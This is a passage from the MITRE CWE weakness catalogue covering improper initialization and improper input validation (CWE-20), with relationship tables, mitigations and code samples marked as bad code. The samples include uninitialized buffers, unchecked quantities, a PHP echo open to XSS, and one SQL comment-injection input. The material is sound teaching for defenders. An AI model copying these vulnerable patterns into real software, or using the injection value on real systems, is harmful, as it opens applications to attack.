+ Demonstrative Examples

Example 1

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

(bad code)
Example Language: Java 
private boolean initialized = true;
public void someMethod() {
if (!initialized) {

// perform initialization tasks
...

initialized = true;
}

Example 2

The following code intends to limit certain operations to the administrator only.

(bad code)
Example Language: Perl 
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
$uid = ExtractUserID($state);
}

# do stuff
if ($uid == 0) {
DoAdminThings();
}

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3

The following code intends to concatenate a string to a variable and print the string.

(bad code)
Example Language:
char str[20];
strcat(str, "hello world");
printf("%s", str);

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

+ Observed Examples
ReferenceDescription
chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection.
Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution.
Use of uninitialized memory may allow code execution.
Free of an uninitialized pointer leads to crash and possible code execution.
OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges.
Product does not clear memory contents when generating an error message, leading to information leak.
Lack of initialization triggers NULL pointer dereference or double-free.
Uninitialized variable leads to code execution in popular desktop application.
chain: Uninitialized variable leads to infinite loop.
chain: Improper initialization leads to memory corruption.
Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory.
Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap
chain: game server can access player data structures before initialization has happened leading to NULL dereference
chain: uninitialized function pointers can be dereferenced allowing code execution
chain: improper initialization of memory can lead to NULL dereference
chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference
+ Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.740CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.846The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1135SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERIncorrect initialization
CERT C Secure CodingARR02-CExplicitly specify array bounds, even if implicitly defined by an initializer
The CERT Oracle Secure Coding Standard for Java (2011)DCL00-JPrevent class initialization cycles
Software Fault PatternsSFP4Unchecked Status Condition
+ References
[REF-436] mercy. "Exploiting Uninitialized Data". 2006-01. <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip>.
[REF-437] Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. <http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Description, Relationships
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Type
2017-11-08CWE Content TeamMITRE
updated References, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Incorrect or Incomplete Initialization

CWE-20: Improper Input Validation

Weakness ID: 20
Abstraction: Class
Structure: Simple
Status: Stable
Presentation Filter:
+ Description
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
+ Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

  • raw data - strings, numbers, parameters, file contents, etc.
  • metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

  • specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
  • implied or derived quantities, such as the actual size of a file instead of a specified size
  • indexes, offsets, or positions into more complex data structures
  • symbolic keys or other elements into hash tables, associative arrays, etc.
  • well-formedness, i.e. syntactic correctness - compliance with expected syntax
  • lexical token correctness - compliance with rules for what is treated as a token
  • specified or derived type - the actual type of the input (or what the input appears to be)
  • consistency - between individual data elements, between raw data and metadata, between references, etc.
  • conformance to domain-specific rules, e.g. business logic
  • equivalence - ensuring that equivalent inputs are treated the same
  • authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.179Incorrect Behavior Order: Early Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.622Improper Validation of Function Hook Arguments
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1284Improper Validation of Specified Quantity in Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1285Improper Validation of Specified Index, Position, or Offset in Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1286Improper Validation of Syntactic Correctness of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1287Improper Validation of Specified Type of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1288Improper Validation of Consistency within Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1289Improper Validation of Unsafe Equivalence in Input
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.129Improper Validation of Array Index
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.15External Control of System or Configuration Setting
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.102Struts: Duplicate Validation Forms
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.103Struts: Incomplete validate() Method Definition
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.104Struts: Form Bean Does Not Extend Validation Class
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.105Struts: Form Field Without Validator
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.106Struts: Plug-in Framework not in Use
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.107Struts: Unused Validation Form
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.108Struts: Unvalidated Action Form
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.109Struts: Validator Turned Off
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.110Struts: Validator Without Form Field
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.111Direct Use of Unsafe JNI
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.112Missing XML Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.114Process Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.117Improper Output Neutralization for Logs
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.466Return of Pointer Value Outside of Expected Range
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.470Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.785Use of Path Manipulation Function without Maximum-sized Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.
Confidentiality

Technical Impact: Read Memory; Read Files or Directories

An attacker could read confidential data if they are able to control resource references.
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

(bad code)
Example Language: Java 
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

(bad code)
Example Language:
...
#define MAX_DIM 100
...
/* board dimensions */

int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

(bad code)
Example Language: PHP 
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

(attack code)
 
2009-01-09--

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(bad code)
Example Language: Java 
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){
die("Negative value supplied for list size, die evil hacker!");
}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();
}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 5

This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

+ Observed Examples
ReferenceDescription
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
SQL injection through an ID that was supposed to be numeric.
lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
insufficient validation enables XSS
driver in security product allows code execution due to insufficient validation
infinite loop from DNS packet with a label that points to itself
infinite loop from DNS packet with a label that points to itself
missing parameter leads to crash
HTTP request with missing protocol version number leads to crash
request with missing parameters leads to information exposure
system crash with offset value that is inconsistent with packet size
size field that is inconsistent with packet size leads to buffer over-read
product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning
security bypass via an extra header
empty packet triggers reboot
incomplete denylist allows SQL injection
NUL byte in theme name causes directory traversal impact to be worse
kernel does not validate an incoming pointer before dereferencing it
anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
anti-virus product allows DoS via zero-length field
driver does not validate input from userland to the kernel
kernel does not validate parameters sent in from userland, allowing code execution
lack of validation of string length fields allows memory consumption or buffer over-read
lack of validation of length field leads to infinite loop
lack of validation of input to an IOCTL allows code execution
zero-length attachment causes crash
zero-length input causes free of uninitialized pointer
crash via a malformed frame structure
infinite loop from a long SMTP request
router crashes with a malformed packet
packet with invalid version number leads to NULL pointer dereference
crash via multiple "." characters in file extension
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Attack Surface Reduction

